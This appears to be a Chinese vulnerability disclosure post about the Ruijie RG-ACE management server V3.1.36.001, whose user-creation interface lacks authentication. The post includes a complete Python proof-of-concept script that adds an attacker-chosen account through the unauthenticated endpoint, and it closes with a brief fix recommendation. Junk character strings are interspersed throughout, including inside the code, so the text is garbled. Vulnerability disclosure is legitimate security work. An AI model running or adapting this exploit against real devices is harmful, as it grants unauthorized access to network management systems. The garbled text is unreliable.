锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
$ o% o: G2 B# Q

测试的具体版本是
产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
$ ]0 i. Y; b+ w. q( `0 u编译时间: 201104291730

6 H' C  W, C) z+ J7 W! T
! Z3 h& L9 A: o漏洞证明：
0 I' p; {/ c! K* s# @+ ^/ x" Y* A

% |! v1 K3 J! H' X2 j

" C" [9 s* K+ Y" Y9 p* w2 S0 k+ `
/ i' @" U; L6 G$ H
( I( B' a$ @) m- P0 ]# A% K6 ]执行脚本
4 G9 W1 b5 Z* r. `9 r* h" K#! /usr/bin/env python
; L) C# p* q+ s1 l#coding=gbk
#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
! b, }% K7 s' A" ]; q, H6 Ourl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
, M+ ]& \7 j, @post=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
0 d7 Q$ `1 f/ O("useropermanager","userManager"),
5 ^+ e% m( @4 {, u9 _("userName","t"), #######账号自己加
* u  O2 V' W  e8 O3 M6 k$ \("pwd","aaaaaa"),######密码自己加
; o) H" O/ s; Q/ Y, a# K, Y("trueName","ad"),
("email",""),
("mobilePhone",""),
" N9 o9 I. V; g9 z# `# G1 o("officePhone",""),
("addr",""),
("submit","确定"))
urllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"

登录，连接设备

) }& @% M5 r0 u5 Q2 G5 m, Z

3 l# z9 q" |5 S5 h- V

# Y# ^! l' U) T默认的管理员admin权限更大点
# u+ f0 f' O8 a
+ [' t4 S1 U0 D- h  M2 R+ z


# d+ o6 {! u& C
修复方案：
加强对接口的权限验证

8 \5 d5 V$ W; l& g/ y/ z) G